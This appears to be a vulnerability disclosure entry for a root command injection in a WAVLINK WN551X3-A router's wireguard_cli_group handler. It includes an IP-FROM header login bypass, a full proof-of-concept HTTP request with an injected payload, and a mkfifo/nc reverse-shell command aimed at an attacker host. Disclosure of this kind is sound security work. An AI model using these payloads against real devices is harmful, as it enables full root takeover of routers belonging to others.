| Title | Wavlink Router Firmware V251020-WO Command Injection |
|---|
| Description | An OS command injection vulnerability (CWE-78) was identified in the WAVLINK WN551X3-A (AX3000) router, firmware M51X3_V251020-WO-182e965 (OpenWrt-based, ARM aarch64/musl).
The web management interface is a lighttpd front-end (ports 80/443) that proxies dynamic *.csp requests to a back-end service, /bin/ioos, listening on 127.0.0.1:81 and running as root. ioos dispatches requests based on the "opt" parameter via a {name,handler} table. The handler for fname=sys & opt=wireguard_cli_group (function sub_4195b4, file /bin/ioos) takes the user-controlled "group_name" request parameter and passes it to system() via snprintf without any input validation or sanitisation:
snprintf(buf, 0x4000, "uci set wgclient.@groups[-1].group_name='%s'", group_name); // 0x419a54
system(buf); // 0x419a68
Because the user input is embedded inside single quotes, a group_name value such as a';id>/tmp/p; breaks out of the quoted string (a';CMD;') and injects an arbitrary OS command, which executes with root privileges and leads to full compromise of the device. This is the sibling of the openvpn_cli_group injection (sub_416760, "uci set ovpnclient.@groups[-1].group_name='%s'") - both handlers share the identical "paste user input into a single-quoted uci set" pattern and are exploitable in the same way.
Exploitation requires reaching ioos and passing its login check. Two vectors: (a) the dispatcher (cgi_protocol_handler) trusts the IP-FROM request header and sets the login flag to 1 whenever IP-FROM equals "127.0.0.1", with NO token required - exploitable from loopback or any SSRF that can reach 127.0.0.1:81 (this vector was VERIFIED on this firmware, command executed as uid=0); (b) through the lighttpd front door with a valid token (default web password is "admin"; note: the first_login empty-password path confirmed on the sibling WN536AX6 was NOT reproducible on THIS firmware's login endpoint in the emulator, returns 10001/10002). ioos' parser quirks: spaces as %20, IP-FROM header must precede Content-Type.
Proof of concept (loopback/SSRF vector a - VERIFIED on this firmware):
POST /index.csp?token=x HTTP/1.1
Host: 127.0.0.1:81
IP-FROM: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
fname=sys&opt=wireguard_cli_group&function=set&action=add&group_id=5&group_name=a%27%3Bid%3E/tmp/p%3B%27
Response: { "success": 1, "error": 0 }
The file /tmp/p on the device then contains: uid=0(root) gid=0(root) groups=0(root)
A root reverse shell is obtained by sending group_name = a';setsid sh -c "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/usr/bin/nc <attacker-ip> <port>>/tmp/f" </dev/null >/dev/null 2>&1 ;' (busybox nc has no -e, so the mkfifo pipe trick is used).
The vulnerability was dynamically verified against the firmware emulated with qemu-aarch64 user-mode emulation; arbitrary commands were executed with root privileges (uid=0) through the loopback-bypass vector (the empty-password front-door login was NOT reproduced on this firmware) on the wireguard_cli_group handler. A ready-to-run Python EXP is published alongside the advisory (use --opt wireguard_cli_group).
|
|---|
| User | shuyi (UID 100431) |
|---|
| Submission | 08/09/2026 07:21 (3 months ago) |
|---|
| Moderation | 11/01/2026 16:49 (3 months later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 429669 [WAVLINK WN551X3-A M51X3_V251020-WO-182e965 WireGuard CLI Group /bin/ioos system group_name os command injection] |
|---|
| Points | 20 |
|---|